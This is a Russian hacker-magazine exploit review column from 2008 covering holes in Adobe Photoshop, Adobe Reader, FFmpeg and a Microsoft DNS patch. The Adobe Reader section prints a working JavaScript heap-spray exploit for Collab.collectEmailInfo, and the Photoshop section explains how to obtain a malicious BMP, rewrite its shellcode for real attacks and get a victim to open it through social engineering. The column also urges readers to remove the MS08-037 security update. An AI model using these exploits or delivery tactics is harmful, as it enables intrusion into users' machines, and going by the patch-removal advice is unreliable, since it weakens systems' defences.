Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 116, АВГУСТ 2008 г.

Обзор эксплойтов

Крис Касперски

Хакер, номер #116, стр. 116-040-1

Середина лета 2008. Жара. Всех плющит, все глючит. Adobe радует нас широким ассортиментом дыр. MS выпускает четыре патча, один из которых – вредоносный. Затыкая мнимую дыру, он затыкает ее не до конца, зато вызывает тормоза и кучу конфликтов со своими же собственными приложениями. Но – обо всем по порядку!

Adobe Photoshop – стековое переполнение в bmp-парсере

Brief

21-го апреля 2008 года, ровно в 12:23:21 по Британскому Летнему времени (BST), хакер, известный под ником c0ntex (c0ntexb@gmail.com), забросил на Full-disclosure свежий exploit, вызывающий стековое переполнение в парсере BMP-файлов и пробивающий APSB07-13 patch, который затыкал в парсере многочисленные дыры. Еще одно подтверждение, что баги ходят косяками и не затыкаются с первой попытки! Выпуск патча отнюдь не трагедия для хакеров, скорее – повод для более глубоких исследований. Вот и сейчас: стековое переполнение позволяет подменять адрес возврата и захватывать контроль над системами W2K, XP, S2K3, S2K8 старыми добрыми «дедовскими» методами. XP SP2+ с активным аппаратным DEP, задействованным для всех приложений, ломается через атаку типа return2lib. Висту с ее рандомизацией адресного пространства подломать сложнее, но все-таки возможно, поскольку продукты Abode, выпущенные до выхода Висты, ничего о рандомизации не знают (типа, не в курсе) и грузятся по фиксированным адресам. Хоть и варьирующимся от версии к версии, но все-таки – достаточно предсказуемым. Прочие подробности можно почерпнуть тут: lists.grok.org.uk/pipermail/full-disclosure/2008-April/061661.html и securityfocus.com/bid/28874/info.

Target

По заявлениям Adobe, совпадающим с выводами c0ntex'а, дыра затрагивает Photoshop Album Starter Edition 3.2 и After Effects CS3 0, а также непропатченные Photoshop CS2/CS3 и Photoshop Elements 5.0. Ту же самую графическую библиотеку используют Acrobat Reader и Adobe Flash Player, однако, уязвимость на них не распространяется.

Exploit

Bmp-файл, начиненный shell-кодом, содержится в посте c0ntex'а, пожеванным UUE-конвертором. Обычно начинающие хакеры спрашивают: «А как его конвертировать взад?!» Нет ничего проще! Выделяем текст, копируем его через буфер обмена в блокнот и по ходу дела переименовываем .txt в .eml. После чего открываем .eml, вызывая ассоциированный с ним Outlook Express. Он автоматически декодирует UUE, отображая его в виде вложения, сохраняемого на диск обычным способом. Остается передать bmp атакуемому и заставить его открыть файл именно в Photoshop'е. Для этого приходится задействовать социальную инженерию или другие трюки (тема для отдельного разговора). Те, кому лень возиться с UUE, могут скачать готовый bmp: securityfocus.com/data/vulnerabilities/exploits/Adobe_AS_Exploit.bmp. Сплойт несет на борту shell-код, выдернутый из Metasploit project и работающий строго под XP SP2 ENG, где он запускает калькулятор. На всех остальных системах (и, в частности, на моей XP SP2 MUI) – просто выбрасывает сообщение о критической ошибке, поскольку использует жестко прошитые (hard-coded) адреса API-функций, привязанные к конкретной версии оси. Для proof-of-concept вполне сгодится, а вот для реальных атак shell-код приходится переписывать заново. Прямо в HIEW'е. Там он начинается со смещения 119h.

Solution

Установить заплатку от Abode (adobe.com/support/security/advisories/apsa08-04.html) или же не открывать Photoshop'ом никакие bmp-файлы, полученные из ненадежных источников.

Adobe Acrobat/Reader – переполнение кучи в JavaScript

Brief

В начале февраля этого года консультант по информационным технологиям Пол Крэг/Paul Craig (linkedin.com/pub/4/79b/4bb) обнаружил дыру в «.joboptions» (Acrobat Job Options File).

Он не преминул уведомить об этом Adobe, которая в ходе аудита кода выявила множественные ошибки переполнения кучи в JavaScript-движке. И уже в июле (и трех лет не прошло) выпустила «лекарство» в виде заплатки, дизассемблировав которую хакеры смогли сконструировать боевые exploit'ы. Те использовали дефект реализации функции Collab.collectEmailInfo(), копирующей mail-адрес в блок динамической памяти фиксированного размера без проверки длины копируемых данных. Все это ведет к переполнению кучи с возможностью захвата управления в контексте привилегий запущенного приложения. Джейсон Ройс/Jason Royes — ведущий архитектор (Chief Architect) из Endeavor Security Inc (приютившей меня как блоггера и реверсера) детально исследовал проблему, опубликовав полученные результаты на своем блоге maliciousattacker.blogspot.com/2008/07/apsb08-15-part-1.html. Также рекомендуется к прочтению securityfocus.com/bid/27641/info.

Targets

Список уязвимых версий весьма внушителен. Это создает все предпосылки для очередной глобальной эпидемии, поскольку pdf-документы давно стали стандартом де-факто, и большинство из нас используют довольно древние версии Acrobat Reader'а, прилагаемого к целому спектру оборудования. Обновлять Acrobat Reader никому не приходит в голову, даже если он сам настойчиво это предлагает. По данным Adobe, уязвимость затрагивает: Reader 7.0.9 и более ранние версии, а также все версии между Reader/Professional/3D 8.0 и Reader 8.1.2 включительно. Версии 7.1.0 — 7.1.0 не подвержены уязвимости, так же, как и версии 9.x, выход которой запланирован на июль 2008. Аналогичные ошибки переполнения были обнаружены в независимых PDF-утилитах, и, в частности, довольно популярном Foxit Reader'е.

Exploits

Ниже приведен исходный текст exploit'а, «впрыскивающего» произвольный shell-код в переполненную кучу, выдранный из презентации Пабло Сола/Pablo Sole (senior security researcher из Immunity Inc.). Immunity Inc имеет готовые pdf-документы уже «начиненные» shell-кодом, но распространяет их по подписке, за деньги (причем, нехилые) и только юридическим лицам. Что ж, не хотят с нами делиться награбленным и не надо! Воспользуемся продвинутым PDF-редактором PDFFill (pdfill.com/download.html) и внедрим JavaScript в PDF самостоятельно! Полный текст презентации лежит на recon.cx/2008/speakers.html#immunitydebuger.

Исходный текст exploit'а, «впрыскивающего» произвольный shell-код в переполненную кучу и передающего на него управление.

function repeat(count,what)

{

var v = "";

while (--count >= 0) v += what;

return v;

}

function heapspray(shellcode)

{

block='';

fillblock = unescape("%u9090");

while(block.length+20+shellcode.length<0x40000)

block = block+block+fillblock;

arr = new Array();

for (i=0;i<200;i++) arr[i]=block + shellcode;

}

heapspray(unescape("%ucccc%ucccc"));

Collab.collectEmailInfo({AAA…AAA: repeat(4096, unescape("%u0909%u0909"))});

В Adobe Acrobat/Reader 8.12 бесконтрольное копирование содержимого полей было пофиксено (и старые exploit'ы перестали работать), но вот названия самих полей по-прежнему копируются в промежуточный буфер без контроля длины. Поэтому слишком длинное имя (порядка 4 Кб) вызывает переполнение с возможностью передачи управления на shell-код. Заплатка APSB08-15 решает эту проблему путем отказа от копирования названий полей, используя указатели, переданные по ссылке.

Solution

Установить обновленную версию от производителя, доступную для бесплатного скачивания на adobe.com/support/security/bulletins/apsb08-15.html.

FFmpeg — переполнение кучи в парсере STR-файлов

Brief

Давным-давно, в декабре 2007 года, когда не росла трава и, вообще, был не сезон, коллектив разработчиков Open-Source библиотеки FFmpeg совершенно случайно обнаружил ошибку в STR-парсере, реализованном в файле psxstr.c. Попытка проигрывания видео-потока, определенным образом перемешанного с аудио-блоками, приводила к копированию их в конец видео-пакета, расположенного в динамической памяти, которая, однако, не настолько динамическая, чтобы автоматически увеличивать размер буфера при необходимости. В результате мы имеем классическое переполнение кучи, с которым активно борются разработчики операционных систем и компиляторов, но все никак не могут победить, а потому возможен не только крах, но и захват управления с засылкой вредоносного shell-кода. FFmpeg-team довольно быстро исправил ошибку, подробно описав причины ее возникновения на CVS (roundup.mplayerhq.hu/roundup/ffmpeg/issue311) и даже кинул линк на образец видео-файла, вызывающего переполнение. Однако летом 2008 года хакеры с удивлением обнаружили, что дыра все еще актуальна, поскольку FFmeg используется в огромном количестве проектов (ffdshow, mplayer, VideoLAN), которые обновляются довольно лениво, не говоря уже о пользователях, спокойно пользующихся версиями двух и даже трехгодичной давности! За техническими подробностями обращайся к CVS (roundup.mplayerhq.hu/roundup/ffmpeg/issue311), а сводную информацию об ошибке легко найти на securityfocus.com/bid/30154/info.

Targets

Популярность FFmpeg не знает границ! На одной лишь официальной страничке проекта перечислено свыше сотни продуктов, использующих эту библиотеку в тех или иных целях (ffmpeg.mplayerhq.hu/projects.html), а сколько программистов юзают ее втихую (нарушая лицензию) – остается только гадать! Короче, уязвимость принимает едва ли не планетарные масштабы, что очень радует хакеров.

Exploits

Пример «честного» видео-файла, демонстрирующего данную дыру, можно найти на samples.mplayerhq.hu/game-formats/psx-str/logo.iki, который, кстати говоря, может иметь любое расширение. Его необязательно скачивать перед воспроизведением на диск, так как многие программы, использующие FFmpeg, поддерживают потоковое вещание и хакеру достаточно всего лишь заманить жертву на страничку с вредоносным файлом.

Solution

Теоретически: скачать библиотеку FFmpeg (ffmpeg.mplayerhq.hu/download.html) и загрузить исходные тексты всех используемых нами проектов, «завязанных» на FFmeag. Перекомпилировать их, учитывая, что огромное количество программ содержит заимствованный и адаптированный под собственные нужны код FFmpeg (а потому еще нужно разобраться, как вбухать туда новую версию). Практически: это нереально и решения нет.

MS Windows – защита от DNS спуфинга

Brief

В начале июля 2008 года Microsoft выпустила четыре заплатки. Три их них затыкают критические дыры в довольно экзотичных системах (например, MS SQL-сервере), а последняя — укрепляет защиту DNS-сервера, DNS-клиента и DNS-resolver'а от спуффинга IP-адресов, попутно предотвращая «отравление» сети поддельными DNS-пакетами, посланными злоумышленником. Как она эта делает? MS 08-037 patch рандомизирует номер порта-источника для всех отправляемых пакетов, чей локальный порт не назначен явно (как, например, у DNS), затрудняя подделку фальшивых DNS-пакетов. Если хакеру все-таки удастся ввести жертву в заблуждение, то пользы от этого будет немного, поскольку MS 08-037 patch предусмотрительно вырубает DNS-кэш. Вот просто берет и вырубает. И плевать ему на то, что при этом падает производительность! Плевать на то, что машина с отключенным DNS-кэшем генерирует гораздо больше DNS-запросов и потому вероятность «словить» поддельный пакет намного выше, чем прежде! Главное — создать видимость защищенности, а для полноты картины в обновленной библиотеке DNSAPI.DLL радикально изменен экспорт. Одни API-функции добавлены, вторые – удалены, третьи — переименованы. Например, Dns_CacheSocketInit() превратилась в Socket_CacheInit(), Dns_OpenHostFile() в HostsFile_Open() и т.д., и т.п. Впрочем, все зависит от версии системы и установленных заплаток. Самое забавное, что MS 08-037 patch тактично «забывает» изменить импорт библиотек, ссылающихся на DNSAPI.DLL. В итоге, некоторые приложения (в том числе, написанные самой Microsoft и поставляемые вместе с системой, вроде dnsrslvr.dll) перестают работать. На этом фоне мелочи наподобие упомянутого в описании заплатки ключа SocketPoolSize, задающего размер пула сокетов (а в действительности никак не используемого) выглядят вполне естественно, подумаешь, мелочи какие! За более подробной (но и более брехливой) информацией обращайтесь непосредственно к MS: microsoft.com/technet/security/bulletin/ms08-037.mspx и support.microsoft.com/kb/953230.

Targets

Согласно бюллетеню безопасности MS08-037, угрозе DNS-спуффинга подвержены следующие системы: W2KSP4, W2KSP4 Server, XP SP2/SP3, XPx64/XPx64SP2, S2K3SP1/SP2, S2K3x64/S2K3x64SP2, Itanium S2K3SP1/SP2, Itanium S2K8/S2K8x64. Виста числится в списке неуязвимых, что очень странно, если не сказать – подозрительно.

Exploits

Любая программа, написанная для DNS-спуфинга без учета особенностей реализации конкретной системы. В этом смысле очень хорошо подходят DNS-спуфферы, написанные для атак на BSD (например, adm.freelsd.net/ADM/ADMID.txt).

Solution

Не устанавливать MS 08-037 patch, а если установка осуществлялась автоматом, то снести его к чертовой матери.

Full disclose

Что же скрывается внутри заплатки под кодовым именем MS 08-037? История эта началась не вчера и даже не позавчера, а намного ранее. Несмотря на то, что уязвимости присвоен статус «критической», здесь нет никакой дыры, которую бы следовало срочно затыкать, тем более, что патч MS080-037 дает прямо противоположный эффект — он ослабляет защиту и вызывает ощутимые тормоза. А потому, его выход на «арену» сопровождался громким вздохом всех специалистов по безопасности: «DNS spoofing? oh! not, again!». И ведь их можно понять! Microsoft движется от плохого к худшему.

По умолчанию DNS функционирует на базе протокола UDP, работающего без установки соединения — система просто посылает DNS-запросы и ожидает ответный пакет. Для генерации поддельного DNS-ответа атакующему достаточно подделать 16-битный номер последовательности Transaction ID (TXID) и 16-битный номер порта-отправителя. В древних версиях Windows оба значения были вполне предсказуемы и угадывались чуть ли не с нескольких попыток. «Угадывались», естественно, только при атаках на локальную сеть извне. Внутри локальной сети ничего гадать не нужно. Достаточно запустить снифер и ловить DNS-запросы, немедленно генерируя подложные DNS-ответы с «левыми» IP-адресами, на которые требуется заманить жертву. Понятное дело, что подложный пакет должен прийти раньше настоящего, а потому атака на жертву обычно сопровождается атакой на DNS-сервер, выводящей его из строя или вызывающей перегруз. Кстати говоря, от «внутренних» атак MS08 037 patch не защищает и даже не пытается.

«Внешние» атаки намного более сложны в реализации. Во-первых, хакеру приходится заниматься гаданием на кофейной гуще, отравляя большое количество пакетов, что тут же просекают системы обнаружения вторжений. Во-вторых, узлы локальной сети редко имеют прямой доступ «наружу». Обычно они спрятаны за Proxy/NAT'ом и «запитаны» либо от своего собственного DNS-сервера, либо DNS-сервера провайдера, который, в свою очередь, обращается к аплинку или корневым DNS-серверам. Хотя, в принципе, корневые доменные сервера общедоступны и к ним может обращаться любой желающий (я именно так и поступаю, забивая на глючный DNS-сервер своего провайдера). В целях оптимизации локальный DNS-сервер (да и DNS-resolver, встроенный в операционную систему) кэширует DNS-ответы, предотвращая многократную посылку одних и тех же запросов.

С одной стороны, это затрудняет атаку, поскольку, чем реже жертва отправляет DNS-запросы во внешнюю сеть, тем реже она слушает ответы, и, соответственно, шансы хакера падают стремительным домкратом. Ему на пальцы. Чтобы не вредничал. Но если развернуть медаль другой стороной, то получается, что DNS-сервер провайдера представляет собой отличную мишень. Достаточно, чтобы машина приняла хотя бы один-единственный подложный пакет, который тут же попадет в кэш, и DNS-сервер на запросы всех клиентов будет возвращать «хакнутый» IP-адрес, оседающий в кэшах рабочих станций и локальных DNS-серверов. На профессиональном жаргоне такой беспредел называется «отравлением» (DNS-poisoning). Чтобы его предотвратить (по уму), достаточно сделать номер порта источника и TXID трудно предсказуемыми.

До недавнего времени NT (и производные от нее системы) использовала простой алгоритм, основанный на внутренних часах и генерирующий вполне предсказуемую последовательность, описываемую функцией времени. После того, как некоторые эксперты по безопасности указали на теоретическую возможность вычисления номера последовательности, MS сначала категорически не соглашалась с «предъявой», а потом, разозлилась и всобачила в DNSAPI.DLL криптостойкую функцию CryptGenRandom(), генерирующую абсолютно случайную последовательность бит. Если же вызов CryptGenRandom() обламывается, то вызывается штатная Си-функция rand(), которой, впрочем, более чем достаточно. Однако MS тщательно скрывает этот факт от общественности, расписывая достоинства CryptGenRandom() и совершенно не упоминая rand(): blogs.technet.com/swi/archive/2008/04/09/ms08-020-how-predictable-is-the-dns-transaction-id.aspx.

С установленной заплаткой MS08-020, выпущенной еще в начале 2008 года, сгенерировать подложный DNS-пакет практически нереально (хакеров-телепатов мы в расчет не берем). Но MS пошла дальше, выпустив еще один пакет обновления — MS08 037, рандомизирующий не только TXID, но и номер порта-отправителя, который прежде «тупо» увеличивался на единицу. Точнее, увеличивался на единицу до тех пор, пока не встречал первый попавшийся свободный локальный порт. На практике номера портов источников DNS-пакетов были далеки от «правильной» арифметической прогрессии. Впрочем, рандомизация карман не тянет.

А вот отключение DNS-кэша – это просто ужас, летящий на крыльях ночи. Интересующихся техническими подробностями отправляю к функции DNSAPI! Dns_CacheSocketInit/Socket_CacheInit, а здесь объясню процесс на пальцах. Черт с ней, с деградацией производительности. Ну, будет сервер лазить каждый раз за DNS-ответом во внешнюю сеть, дожидаясь ответа, – ну и ладно. Это противно, но не смертельно. То есть, еще как смертельно! Чем больше DNS-запросов генерирует жертва, тем выше вероятность подсунуть ей подложный DNS-ответ, а потому MS08 037 patch реально вредит, и чем скорее мы его снесем — тем лучше. А как его снести, если мы отказались от возможности деинсталяции? Берем дистрибутивный диск, достаем оттуда оригинальную DNSAPI.DLL и заменяем ее: как в системном каталоге Windows, так и в SFC-кэше, иначе SFC ее тут же восстановит. Для замены файлов необходимо либо грузиться с LiveCD, либо переименовать DNSAPI.DLL в DNSAPI.DL1, положить рядом DNSAPI.DLL из дистрибутива и перезагрузиться (наверняка ты знаешь, что Windows блокирует удаление/перезапись загруженных DLL, но не препятствует их переименованию).

Фрагмент кода DNSAPI.DLL, выдернутый из XP SP2 и генерирующий TXID на основе функции GetTickCount()

76F24FB5 Dns_GetRandomXid proc near ; CODE XREF: Dns_BuildPacket+79^p

76F24FB5

76F24FB5 mov edi, edi

76F24FB7 push ebp

76F24FB8 mov ebp, esp

76F24FBA call ds:GetTickCount

76F24FC0 mov ecx, eax

76F24FC2 add ecx, dword_76F4143C

76F24FC8 mov eax, [ebp+arg_4]

76F24FCB shr eax, 6

76F24FCE add eax, ecx

76F24FD0 inc word ptr dword_76F4143C

76F24FD7 cmp word ptr dword_76F41444, 0

76F24FDF jz loc_76F2B192

После установки обновления MS08-020 для генерации TXID используется или криптостойкая функция CryptGenRandom(), или некриптостойкая rand() – если вызов первой обламывается

76EEB9AF loc_76EEB9AF: ; CODE XREF: sub_76EEB969+41^j

76EEB9AF mov eax, [ebp+phProv]

76EEB9B2 mov hProv, eax

76EEB9B7 call ds:GetTickCount

76EEB9BD push eax ; unsigned int

76EEB9BE call ds:srand

76EEB9C4 pop ecx

76EEB9C5 mov dword_76EF6080, edi

76EEB9CB

76EEB9CB loc_76EEB9CB: ; CODE XREF: sub_76EEB969+24^j

76EEB9DB lea ecx, [ebp+pbBuffer]

76EEB9DE push ecx ; pbBuffer

76EEB9DF push 2 ; dwLen

76EEB9E1 push eax ; hProv

76EEB9E2 call ds:CryptGenRandom ; Fill a buffer with random bytes

76EEB9E8

76EEB9E8 loc_76EEB9E8: ; CODE XREF: sub_76EEB969+70^j

76EEB9E8 mov esi, dword ptr [ebp+pbBuffer]

76EEB9EB cmp si, bx

76EEB9EE jnz short loc_76EEBA09

76EEB9F0 mov edi, ds:rand

76EEB9F6

76EEB9F6 loc_76EEB9F6: ; CODE XREF: sub_76EEB969+9Evj

76EEB9F6 call edi ; rand

76EEB9F8 mov esi, eax

76EEB9FA shl esi, 0Fh

76EEB9FD call edi ; rand

76EEB9FF or esi, eax

76EEBA01 cmp si, bx

76EEBA04 mov dword ptr [ebp+pbBuffer], esi

76EEBA07 jz short loc_76EEB9F6

Содержание
ttfb: 8.6359977722168 ms